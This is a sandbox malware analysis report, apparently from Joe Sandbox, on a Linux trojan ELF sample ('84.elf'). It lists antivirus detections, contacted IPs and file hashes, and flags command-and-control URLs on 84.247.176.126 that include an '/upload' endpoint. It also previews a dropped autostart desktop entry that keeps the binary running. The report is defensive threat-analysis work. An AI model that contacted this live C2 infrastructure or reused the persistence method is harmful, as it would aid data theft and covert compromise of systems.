Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 File Deletion	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
84.elf	58%	ReversingLabs	Linux.Trojan.Multiverze
84.elf	52%	Virustotal		Browse
84.elf	100%	Avira	LINUX/AVI.Agent.xapoa

Dropped Files

Source	Detection	Scanner	Label	Link
/root/.gvfs/84.elf	100%	Avira	LINUX/AVI.Agent.xapoa
/root/.gvfs/84.elf	58%	ReversingLabs	Linux.Trojan.Multiverze
/root/.gvfs/84.elf	52%	Virustotal		Browse

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Link
https://img.shields.io/pypi/v/cryptography.svg	0%	Virustotal	Browse
http://www.valicert.com/	0%	Virustotal	Browse
http://www.unicode.org/reports/tr44/tr44-4.html).	0%	Virustotal	Browse
https://cryptography.io/	0%	Virustotal	Browse
https://pypi.python.org/pypi/cryptography/	0%	Virustotal	Browse
https://mail.python.org/mailman/listinfo/cryptography-dev	0%	Virustotal	Browse
http://python.org/dev/peps/pep-0263/	0%	Virustotal	Browse
https://github.com/pyca/cryptography	0%	Virustotal	Browse
https://codecov.io/github/pyca/cryptography?branch=master	0%	Virustotal	Browse
https://cryptography.io	0%	Virustotal	Browse
https://travis-ci.org/pyca/cryptography	0%	Virustotal	Browse
https://travis-ci.org/pyca/cryptography.svg?branch=master	0%	Virustotal	Browse
https://github.com/pyca/cryptography/issues	0%	Virustotal	Browse
https://codecov.io/github/pyca/cryptography/coverage.svg?branch=master	0%	Virustotal	Browse
http://www.chambersign.org	0%	Virustotal	Browse
http://www.unicode.org/reports/tr44/tr44-4.html).xxsubtype	0%	Virustotal	Browse
https://cryptography.io/en/latest/installation/	0%	Virustotal	Browse
https://readthedocs.org/projects/cryptography/badge/?version=latest	0%	Virustotal	Browse

Name	Malicious	Antivirus Detection	Reputation
http://84.247.176.126:33548/api/root_265403912816988/hello	true		unknown
http://84.247.176.126:33548/api/root_265403912816988/upload	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://python.org/dev/peps/pep-0263/	libpython2.7.so.1.0.16.dr	false	0%, Virustotal, Browse	unknown
https://img.shields.io/pypi/v/cryptography.svg	84.elf, 6254.1.00000000022e8000.0000000002458000.rw-.sdmp, PKG-INFO.16.dr	false	0%, Virustotal, Browse	unknown
http://www.valicert.com/	old_root.pem.16.dr	false	0%, Virustotal, Browse	unknown
http://www.unicode.org/reports/tr44/tr44-4.html).	libpython2.7.so.1.0.16.dr	false	0%, Virustotal, Browse	unknown
https://github.com/pyca/cryptography	PKG-INFO.16.dr	false	0%, Virustotal, Browse	unknown
https://cryptography.io/	84.elf, 6254.1.00000000022e8000.0000000002458000.rw-.sdmp, PKG-INFO.16.dr	false	0%, Virustotal, Browse	unknown
https://pypi.python.org/pypi/cryptography/	84.elf, 6254.1.00000000022e8000.0000000002458000.rw-.sdmp, PKG-INFO.16.dr	false	0%, Virustotal, Browse	unknown
https://mail.python.org/mailman/listinfo/cryptography-dev	84.elf, 6254.1.00000000022e8000.0000000002458000.rw-.sdmp, PKG-INFO.16.dr	false	0%, Virustotal, Browse	unknown
https://codecov.io/github/pyca/cryptography?branch=master	PKG-INFO.16.dr	false	0%, Virustotal, Browse	unknown
https://codecov.io/github/pyca/cryptography/coverage.svg?branch=master	PKG-INFO.16.dr	false	0%, Virustotal, Browse	unknown
https://travis-ci.org/pyca/cryptography.svg?branch=master	PKG-INFO.16.dr	false	0%, Virustotal, Browse	unknown
http://www.unicode.org/reports/tr44/tr44-4.html).xxsubtype	libpython2.7.so.1.0.16.dr	false	0%, Virustotal, Browse	unknown
https://travis-ci.org/pyca/cryptography	PKG-INFO.16.dr	false	0%, Virustotal, Browse	unknown
https://cryptography.io	84.elf, 6254.1.00000000022e8000.0000000002458000.rw-.sdmp, PKG-INFO.16.dr	false	0%, Virustotal, Browse	unknown
https://github.com/pyca/cryptography/issues	84.elf, 6254.1.00000000022e8000.0000000002458000.rw-.sdmp, PKG-INFO.16.dr	false	0%, Virustotal, Browse	unknown
https://readthedocs.org/projects/cryptography/badge/?version=latest	84.elf, 6254.1.00000000022e8000.0000000002458000.rw-.sdmp, PKG-INFO.16.dr	false	0%, Virustotal, Browse	unknown
http://www.chambersign.org	cacert.pem.16.dr	false	0%, Virustotal, Browse	unknown
https://cryptography.io/en/latest/installation/	84.elf, 6254.1.00000000022e8000.0000000002458000.rw-.sdmp, PKG-INFO.16.dr	false	0%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
54.171.230.55	unknown	United States	16509	AMAZON-02US	false
84.247.176.126	unknown	Norway	29300	AS-DIRECTCONNECTNO	true
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54.171.230.55	SecuriteInfo.com.ELF.Ravencoin-B.19941.19184.elf	Get hash	malicious	Xmrig	Browse
	rebirth.arm5.elf	Get hash	malicious	Gafgyt	Browse
	rebirth.ppc.elf	Get hash	malicious	Gafgyt	Browse
	bot.arm.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse
	bot.m68k.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse
	12hLshsAaV.elf	Get hash	malicious	Unknown	Browse
	good.elf	Get hash	malicious	Unknown	Browse
	24817291-9aa6-49e9-84d5-f895d84737af	Get hash	malicious	K4spreader	Browse
	rebirth.mpsl.elf	Get hash	malicious	Gafgyt	Browse
	rebirth.arm5.elf	Get hash	malicious	Gafgyt	Browse
109.202.202.202	kpLwzBouH4.elf	Get hash	malicious	Unknown	Browse	ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
91.189.91.43	SecuriteInfo.com.Linux.Siggen.9999.13181.28360.elf	Get hash	malicious	Mirai	Browse
	SecuriteInfo.com.Linux.Siggen.9999.30150.23014.elf	Get hash	malicious	Mirai	Browse
	SecuriteInfo.com.ELF.Mirai-BNB.32065.25073.elf	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Linux.Siggen.9999.14958.943.elf	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.ELF.Ligolo-K.6475.26287.elf	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.ELF.ShellCode-FH.25156.23898.elf	Get hash	malicious	Unknown	Browse
	roze.mips.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	roze.x86.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	roze.i586.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	cayo.m68k.elf	Get hash	malicious	Mirai, Gafgyt	Browse
91.189.91.42	SecuriteInfo.com.Linux.Siggen.9999.13181.28360.elf	Get hash	malicious	Mirai	Browse
	SecuriteInfo.com.Linux.Siggen.9999.30150.23014.elf	Get hash	malicious	Mirai	Browse
	SecuriteInfo.com.ELF.Mirai-BNB.32065.25073.elf	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Linux.Siggen.9999.14958.943.elf	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.ELF.Ligolo-K.6475.26287.elf	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.ELF.ShellCode-FH.25156.23898.elf	Get hash	malicious	Unknown	Browse
	roze.mips.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	roze.x86.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	roze.i586.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	cayo.m68k.elf	Get hash	malicious	Mirai, Gafgyt	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	SecuriteInfo.com.Linux.Siggen.9999.13181.28360.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	SecuriteInfo.com.Linux.Siggen.9999.30150.23014.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	SecuriteInfo.com.Linux.Siggen.9999.5706.5318.elf	Get hash	malicious	Mirai	Browse	185.125.190.26
	SecuriteInfo.com.ELF.Mirai-BNB.32065.25073.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	SecuriteInfo.com.Linux.Siggen.9999.14958.943.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	SecuriteInfo.com.ELF.Ligolo-K.6475.26287.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	SecuriteInfo.com.ELF.ShellCode-FH.25156.23898.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	roze.mips.elf	Get hash	malicious	Gafgyt, Mirai	Browse	91.189.91.42
	roze.mipsel.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.125.190.26
	roze.x86.elf	Get hash	malicious	Gafgyt, Mirai	Browse	91.189.91.42
CANONICAL-ASGB	SecuriteInfo.com.Linux.Siggen.9999.13181.28360.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	SecuriteInfo.com.Linux.Siggen.9999.30150.23014.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	SecuriteInfo.com.Linux.Siggen.9999.5706.5318.elf	Get hash	malicious	Mirai	Browse	185.125.190.26
	SecuriteInfo.com.ELF.Mirai-BNB.32065.25073.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	SecuriteInfo.com.Linux.Siggen.9999.14958.943.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	SecuriteInfo.com.ELF.Ligolo-K.6475.26287.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	SecuriteInfo.com.ELF.ShellCode-FH.25156.23898.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	roze.mips.elf	Get hash	malicious	Gafgyt, Mirai	Browse	91.189.91.42
	roze.mipsel.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.125.190.26
	roze.x86.elf	Get hash	malicious	Gafgyt, Mirai	Browse	91.189.91.42
AMAZON-02US	https://en.softonic.com	Get hash	malicious	Unknown	Browse	54.171.96.34
	Shipping Documents_pdf.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	SecuriteInfo.com.Linux.Siggen.9999.28931.8128.elf	Get hash	malicious	Mirai	Browse	46.137.223.255
	SecuriteInfo.com.Linux.Siggen.9999.10361.13333.elf	Get hash	malicious	Mirai	Browse	184.77.13.166
	SecuriteInfo.com.Linux.Siggen.9999.28522.3483.elf	Get hash	malicious	Mirai	Browse	35.183.153.123
	https://polidos.com/	Get hash	malicious	Unknown	Browse	52.222.236.94
	https://pokerfanboy.com/	Get hash	malicious	Unknown	Browse	54.74.102.83
	https://ole798.com/	Get hash	malicious	Unknown	Browse	52.214.31.35
	https://mukirecords.com/	Get hash	malicious	Unknown	Browse	13.33.158.57
	https://budivenut.com/bAGMhBTY81DQ0DRMJ1XOQUUSFVUf9ARgYwDOI1O1UxFG8AJXEwDbZRAlQiDHcDIShTNa4gYPQjUu8AKO81BR	Get hash	malicious	Unknown	Browse	18.245.33.130
INIT7CH	SecuriteInfo.com.Linux.Siggen.9999.13181.28360.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	SecuriteInfo.com.Linux.Siggen.9999.30150.23014.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	SecuriteInfo.com.ELF.Mirai-BNB.32065.25073.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	SecuriteInfo.com.Linux.Siggen.9999.14958.943.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	SecuriteInfo.com.ELF.Ligolo-K.6475.26287.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	SecuriteInfo.com.ELF.ShellCode-FH.25156.23898.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	roze.mips.elf	Get hash	malicious	Gafgyt, Mirai	Browse	109.202.202.202
	roze.x86.elf	Get hash	malicious	Gafgyt, Mirai	Browse	109.202.202.202
	roze.i586.elf	Get hash	malicious	Gafgyt, Mirai	Browse	109.202.202.202
	cayo.m68k.elf	Get hash	malicious	Mirai, Gafgyt	Browse	109.202.202.202
AS-DIRECTCONNECTNO	rAGROTIS10599242024.exe	Get hash	malicious	FormBook	Browse	217.196.55.202
	oO3ZmCAeLQ.exe	Get hash	malicious	FormBook	Browse	217.196.55.202
	file.exe	Get hash	malicious	FormBook	Browse	217.196.55.202
	file.exe	Get hash	malicious	FormBook	Browse	217.196.55.202
	Quote 05-302.lnk	Get hash	malicious	FormBook	Browse	217.196.55.202
	2pFytt52ws.exe	Get hash	malicious	Unknown	Browse	84.247.164.65
	wiXku8sNM3.exe	Get hash	malicious	Unknown	Browse	217.196.54.243
	ljojy3cUd9.exe	Get hash	malicious	Unknown	Browse	217.196.54.243
	EWTrq1tK85.exe	Get hash	malicious	Unknown	Browse	217.196.54.243
	wiXku8sNM3.exe	Get hash	malicious	Unknown	Browse	217.196.54.243

Process:	/tmp/84.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	79
Entropy (8bit):	4.870130356200125
Encrypted:	false
SSDEEP:	3:agEXWLsUhv3ERMQsXYMz7y9n:agp39zOn
MD5:	224C7D117782F33C1CFA3039BA45F41B
SHA1:	229FF33817619DEE8D52F4CCBDBD2AB055BC93F4
SHA-256:	8459BFC700490D9F25D1BC62D6163D809E714453622D8EC1DA0DADF797D5888B
SHA-512:	72E6AD25853EAD7523B1A6A85CA2E92616A61AE720BF64185FD2EE2047ACA5B408760F1190709E7BAD9AC26ED940D2CCC57D18D843CE2FA8F3F620CF9730E440
Malicious:	true
Reputation:	low
Preview:	[Desktop Entry].Version=1.0.Type=Application.Name=gvfs.Exec=/root/.gvfs/84.elf.

/root/.gvfs/84.elf

Download File

Process:	/tmp/84.elf
File Type:	ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=fdb92fd0de3892fc2176220c6694f8eee61d4fa3, stripped
Category:	dropped
Size (bytes):	6347024
Entropy (8bit):	7.993780071670747
Encrypted:	true
SSDEEP:	196608:ilOAjUX/pUNpusLDfoL8bk9hmpn+yIVqiDT:jAoXCpuqMLeEqin
MD5:	51AC5F4BCFFD208899EBE778C1725579
SHA1:	807C42578F63B569F37A95DC29267EF6C4EC9EEA
SHA-256:	684D950494951CDA868A6D1D83E2AB8BAEDB7B4F2E8B079AB94771FB4FABD09A
SHA-512:	01C8C44035BAE0B6565F8B9C9B9C9E9F710DA20520BBD334B1B11CA5F0FC35C4F5344403398A3383514BA82C0164938C2C4F8E69023B6DB01FEC9A79DDA20B38
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 58% Antivirus: Virustotal, Detection: 52%, Browse
Reputation:	low
Preview:	.ELF..............>.....u.@.....@.........`.........@.8...@.............@.......@.@.....@.@...............................................@.......@...............................................@.......@......s.......s........ ..............s.......s`......s`....................... ..............s.......s`......s`...............................................@.......@.....D.......D...............P.td.... d...... d@..... d@.....T.......T...............Q.td..................................................../lib64/ld-linux-x86-64.so.2.............GNU............. ...............GNU.../..8..!v".f.....O.....N............. .....N...O.......)...fUa.9..................................................5.......................C...............................................................................................\.......................F................................................... ...................................................................c...............................

/tmp/_MEITTIAO4/_cffi_backend.so

Download File

Process:	/tmp/84.elf
File Type:	ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=a8065860edce18a4dc4eef124c5ef5186663c879, stripped
Category:	dropped
Size (bytes):	165240
Entropy (8bit):	5.753318218937856
Encrypted:	false
SSDEEP:	3072:gwB7XQk2nzZks2pycvIt9NK4emyzmWibZDF/TTtD1bjLzq1:MZnzKsACHeLSbZ5TTfbjLzq
MD5:	1F5B27408D0809610ED00EC96A129A4B
SHA1:	089269412CB7547198C8FFB733F4AE5713E46680
SHA-256:	C706AEDBD491549032F4FA7C05F7267D7E9DEB703A3D391048AC40633801597D
SHA-512:	0FD0C95D26A77430DABBBFEC6A8C7FA2ACF83F927B179057215683AD0D88A4CB646A5852AA36FD65B16A139FD51156E420471B85A9105692CE29217D1A09F1E7
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.ELF..............>......s......@.......x~..........@.8...@.....................................\#......\#........ .............P%......P%".....P%"......W................ .............`,......`,".....`,".............................................................$.......$.......................P%......P%".....P%".............................P.td....(.......(.......(...............................Q.td....................................................R.td....P%......P%".....P%".........................................GNU...X`.....N..L^..fc.y...................... ..............................................qX.......!.CE........\|................................................................................................)...............................................................................................................................................................................................r.......................................................................

/tmp/_MEITTIAO4/_codecs_cn.so

Download File

Process:	/tmp/84.elf
File Type:	ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=514db53237f2feae68b921059fd270fb13189922, stripped
Category:	dropped
Size (bytes):	149672
Entropy (8bit):	6.675537708235342
Encrypted:	false
SSDEEP:	3072:uRB0dAHSJC6Fk3MwDpHWR3N8urwowVmgFBv:5BBcZKC5
MD5:	60B7E38E9D3F8347E7D961073FBC131D
SHA1:	57211F099D82579B7A4398FC71AC7D19362C1E01
SHA-256:	AC503D3E5DBC185355E9A2B18FB61CD9C9043870F170652214F6AB51DDE0FB70
SHA-512:	539357826EE207CAD471128E6E6D84AE199B10D3C737107ADBE4465AAB1BCC3BC7B863DA7C34A4E7C2C728BF75732D956517232A56F4D2BD57305E664DC590EC
Malicious:	false
Reputation:	low
Preview:	.ELF..............>......,......@........A..........@.8...@.....................................l.......l......... .......................!.......!......T.......T........ ..............>.......>"......>".............................................................$.......$...............P.td....................................................Q.td....................................................R.td..............!.......!......T.......T..........................GNU.QM.27...h.!...p...."...................... ...@..................qX.....Y......BE...\|............................ ...................z.......................................................................4................................................... ...........................................................................................................................................8... ...........................................R..."...................K........@"..................... ,..............k.......

/tmp/_MEITTIAO4/_codecs_hk.so

Download File

Process:	/tmp/84.elf
File Type:	ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=97e4ead34d3cee0d9e177d17cfa5b6ce7bd75c9f, stripped
Category:	dropped
Size (bytes):	157896
Entropy (8bit):	2.7145900286278026
Encrypted:	false
SSDEEP:	768:Vx2KI/Oovc9IWulOg7euU9gNMEWIDFQyZpdssgRyJvdl4gkFP4hVTA1aH3Zc4:VVOBplf7eJ9JIDFNBs8Jvbe4VT24J3
MD5:	007E7E0F2E0360381DF43B73C1D74A4D
SHA1:	A869C9E2F6A9BAA4778A7554F92270BF2364DBB7
SHA-256:	AB208070911A3AE23FF3E3FC12DE33F70CB5CD332F7736810F66863312414052
SHA-512:	3C358FA910383CB021456E346DCF3608507C2924D52BD57F48FF1C2DF5786FC863E60C5DB03ADEC4F55A3F47B01562DE916C78F2ABE212FCA14B38E234A6CCF3
Malicious:	false
Reputation:	low
Preview:	.ELF..............>......)......@........b..........@.8...@...................................... ....... ........ ..............,.......,"......,"......3.......4........ ..............^.......^"......^".............................................................$.......$...............P.td............................d.......d...............Q.td....................................................R.td.....,.......,"......,"......3.......3..........................GNU.....M<....}....{.\....................... ...@..........................................qX.....CE...........\|............................ ...................z.......................................................................t.......................................................................M........................... ...................7......................................................................................................................._.......................8... ...................%.......

/tmp/_MEITTIAO4/_codecs_iso2022.so

Download File

Process:	/tmp/84.elf
File Type:	ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=327305681b550044f7c7d3974bb02e611a5f0d66, stripped
Category:	dropped
Size (bytes):	26824
Entropy (8bit):	4.3020097811273255
Encrypted:	false
SSDEEP:	192:RssK8bLodEQaDKAZ71EGF6CNkyWm6Exmdpy3SrOXjcRk7pYtsZXXYEMzYn2cQzE9:jLo2QPAZP5Nxxmdpzb81M0n
MD5:	EF5613412BD7F6F0FCF5570C14A5E110
SHA1:	D355AB606B06C1D5CED592919C9EDDFABD342102
SHA-256:	EC9652AC7EBD8C34D65DAE576F70DEC4AE011C93E129FEE570FDE7BDF273E94F
SHA-512:	850A70050432580086C647702639328C42AC015FA135AD45592D07E61DC3C5F6F9AC6A7A2903C0398CA35B0F8BA2A61CEBDC964C92894BBD816A2915B2F8EDEF
Malicious:	false
Reputation:	low
Preview:	.ELF..............>.............@........b..........@.8...@......................................F.......F........ ..............V.......V ......V .....0................. ..............^.......^ ......^ .............................................................$.......$...............P.td....`=......`=......`=..............................Q.td....................................................R.td.....V.......V ......V .....P.......P...........................GNU.2s.h.U.D...K..a._.f...................... ...@)....................................BE...\|........Y_...qX................................. ...........................................................................................f.......................................................................?........................... ...................)...............................................................................................Q.......................8... ...........................................R..."...

/tmp/_MEITTIAO4/_codecs_jp.so

Download File

Process:	/tmp/84.elf
File Type:	ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=de2862cf1c79ce588099c9e88107338eb803b6b4, stripped
Category:	dropped
Size (bytes):	268456
Entropy (8bit):	4.345583720966065
Encrypted:	false
SSDEEP:	3072:OVY/zg2/rZKupPxknCqXPvzU0PpV+J9kscm/Dihbnv:J/OupPWnCqXnnPpVkkg/Ohb
MD5:	E2FB4F0B1BFB5C1E5078A55C3E82957C
SHA1:	80098186D451B0DB618886DFFC82306D2CA3AB2F
SHA-256:	525DC24D7B88D6844208C82E7B335511A3A79FE2A33D7B4C3F931B06C35B702E
SHA-512:	DF0E561B515642D5D182A676D60314FCFD1BA6D3078EA7A87C552F58A19E376CDD7F84618962A9530506178E812E445DA1B9E3275472FAD092499C7E423E2E5F
Malicious:	false
Preview:	.ELF..............>......L......@...................@.8...@......................................E.......E........ ..............J.......J#......J#.....0.......@......... .......................$.......$.............................................................$.......$...............P.td.....?.......?.......?..............................Q.td....................................................R.td.....J.......J#......J#.....p.......p...........................GNU..(b..y.X.....3........................... ..$@.....................................BE...\|.........qX.C.................................. ...................z.......................................................................4................................................... ...........................................................................................................................................8... ...........................................R..."...................D.........$.............W.......

/tmp/_MEITTIAO4/_codecs_kr.so

Download File

Process:	/tmp/84.elf
File Type:	ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=5f5a1cace8de7365928cd69d9c22f52f019b499d, stripped
Category:	dropped
Size (bytes):	137384
Entropy (8bit):	5.8828679020393375
Encrypted:	false
SSDEEP:	3072:GLwc1oH5Monzx8fEFHDKRa5Au3kcW38on:55MonzWfERKRa58yS
MD5:	0E7D119B2BA23C87F820E6CE80BA81FF
SHA1:	D6775C177229DAB62C8344F835078B2345CB11AB
SHA-256:	21B28E7E80D70BFE8836331FE3FA7591A20C2EB21101434C22073A1BA65DD008
SHA-512:	9141450FF82EE1287868DA766E88456363B51744EFC0EF8B92898B5B70EC31A853BA2BA52094F4C2AB34F5FA88DBBCDFA81087313A24D94EB0F1679A0AD1C52C
Malicious:	false
Preview:	.ELF..............>......'......@...................@.8...@.....................................8.......8......... .............p.......p.!.....p.!.....P4......`4........ .......................".......".............................................................$.......$...............P.td....T.......T.......T...............................Q.td....................................................R.td....p.......p.!.....p.!......3.......3..........................GNU._Z....se...."./..I....................... . $@..........................................qX.....e..CE........\|............................ ...................z.......................................................................4................................................... ...........................................................................................................................................8... ...........................................R..."...................K.........".....................

/tmp/_MEITTIAO4/_codecs_tw.so

Download File

Process:	/tmp/84.elf
File Type:	ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=9c3201f16e000ddb42f5b2b5ba4eb2cb37701577, stripped
Category:	dropped
Size (bytes):	112808
Entropy (8bit):	5.802688910435794
Encrypted:	false
SSDEEP:	1536:IPu4OxZeWjma5eoUXhQZwDME6VW40NEZEhZTnc/Nh7rihuJuAeMth:IWzZe3aYoURHVX40OETLYdiBAFP
MD5:	DA62F57440613DFE932C72EF9428F348
SHA1:	C7947F674B4A62C4BF9E38E7477B040DD33009DE
SHA-256:	94B5962FD2906B2F5FEE04C32EC874A102A02DD4D7765F511715BF3B72F8A13E
SHA-512:	39AB6EE5130C0F220A58C7CB6D3F998B2AF5F09EB51EFAB1116A7C92858A3AE16C7946D271FA78E065617CBC9421877636CE21D4688AF5FE22495AA0DBC6D367
Malicious:	false
Preview:	.ELF..............>.....P.......@..................@.8...@......................................].......]........ ..............l.......l!......l!......D...... D........ .......................!.......!.............................................................$.......$...............P.td.....[.......[.......[......t.......t...............Q.td....................................................R.td.....l.......l!......l!.....PC......PC..........................GNU..2..n...B....N..7p.w......................(...D....................................BE...qX.......\|................................ ...................z...............................................$.......................4................................................... ...........................................................................................................................................8... ...........................................R..."...................k................................'......

/tmp/_MEITTIAO4/_ctypes.so

Download File

Process:	/tmp/84.elf
File Type:	ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=9eb871f4b7c1f223cd7928397c52ec239b80d664, stripped
Category:	dropped
Size (bytes):	140144
Entropy (8bit):	5.484757874353759
Encrypted:	false
SSDEEP:	3072:QkHeNzWSDnFfd5arjVChEA+Jp6Ber0Jaf:/eN6MbajrCer0Jaf
MD5:	8DEC4EF1CA80BA6789913F077F8EA1A7
SHA1:	3938DBB941395A67A45686FAE8DF43EA4C86BF8B
SHA-256:	60BC42B14A630761025F9CCEBE7885116A155DEE9B4C5EB46CC07DB49673A102
SHA-512:	A374D7BDC8178520DAE5063BDF6A89B6D3B35A899E10A14742ACB658F74025DB0ED4833F0AB49487112468295AD9DA81A61CF35DBFDCCA1A2B162C97275875C8
Malicious:	false
Preview:	.ELF..............>.....`p......@...................@.8...@....................................................... .......................!.......!.....P?.......?........ .......................!.......!.............................................................$.......$...............P.td............................,.......,...............Q.td....................................................R.td..............!.......!.........................................GNU...q....#.y(9\|R.#...d....u.....................@(..")............$@..t.....@...!BN....VY.H28.@@.[...1h..!........................................................................................................................................................................................................................................................................................................................................................................................................................................

/tmp/_MEITTIAO4/_hashlib.so

Download File

Process:	/tmp/84.elf
File Type:	ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=0f3b6573a291ea8cb69408512d6bdab7de25b832, stripped
Category:	dropped
Size (bytes):	25160
Entropy (8bit):	5.115733623662513
Encrypted:	false
SSDEEP:	384:OvTDXp6TT/ZUPPv++zsWi+X3YrLUrj4Aj:ObD563/Zinrr74Aj
MD5:	6C5C3D7F8A42668419C894BD4261AD77
SHA1:	8815B7ED44E0E560970B16B7FCA7CF6D270049F2
SHA-256:	B30EC01C9815552F8C1C03E8559AABF4F14961CAAD47EE3C133893D03ECA5639
SHA-512:	228BADD86077AB58B993715DA9BE8C8BBC4E6ADC275A225B3B0ABEBB4FC14312D3E6CFA4D4DF80F7CD79718994C7BFBA6172A6CCE4A9527ADA043D8F9C426354
Malicious:	false
Preview:	.ELF..............>.............@........[..........@.8...@.....................................\J......\J........ ..............M.......M ......M .............8......... ..............M.......M ......M .............................................................$.......$...............P.td....0B......0B......0B......$.......$...............Q.td....................................................R.td.....M.......M ......M .....(.......(...........................GNU..;es.....Q-k..%.2........7.............(...@.....7...8.......9...;...<...........qX.CE......\|....................................................................................................S........................................................................................................................... ...........................................................................................................................................b...............................................................

/tmp/_MEITTIAO4/_json.so

Download File

Process:	/tmp/84.elf
File Type:	ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=7465cc284b75613923b1ffde62d40bf513654c26, stripped
Category:	dropped
Size (bytes):	66344
Entropy (8bit):	5.954838274010022
Encrypted:	false
SSDEEP:	1536:AOwRBw31fRFnvs24PPQmCrHwwwXp8InMRO9x:A3Bw1vvcIr2nMRy
MD5:	E9EBFFDE7BF43906EA6260D355F0F4F2
SHA1:	9154BAA616696AC324BF498D2AC332FB2969C891
SHA-256:	620B0A7E08B3887DD16022B06941F76AF91D9609BF455B23FB87083037A28BDC
SHA-512:	72D9E73CA6D50B0F77669637F7245A3737C1FEA15F7B2943C51A90FC4498DBA946E190257CFEC0E35DA8297BC7134376F242A0BEF7438C3B0E89258E807E7F97
Malicious:	false
Preview:	.ELF..............>.....P.......@...................@.8...@....................................................... ....................... ....... .............8......... ....................... ....... .............................................................$.......$...............P.td....0.......0.......0...............................Q.td....................................................R.td.............. ....... .....P.......P...........................GNU.te.(Kua9#...b....eL&........A.............$...@.A...C...D...............E...F.......BE...\|.............qX.....................................................b...............................................V................................................... ...................~.......................................................................U...............................................................................................E.......................3.......................l...............................

/tmp/_MEITTIAO4/_multibytecodec.so

Download File

Process:	/tmp/84.elf
File Type:	ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=b3a1858bab7ca02b90b913ccedb9ce5019a489df, stripped
Category:	dropped
Size (bytes):	47304
Entropy (8bit):	5.255230270713156
Encrypted:	false
SSDEEP:	768:43+kEBcNYmKigLnNVfBIxnHA/Tcygv9ZMsRweaeoPhWIXqNEgyLZBuN:O7eLnfBGnOv4MUsPfgy
MD5:	8CDB93CBB0011BA2D77C6021C8335D00
SHA1:	5126AC3A58B37E8CAFC54141A659F379E736CDDA
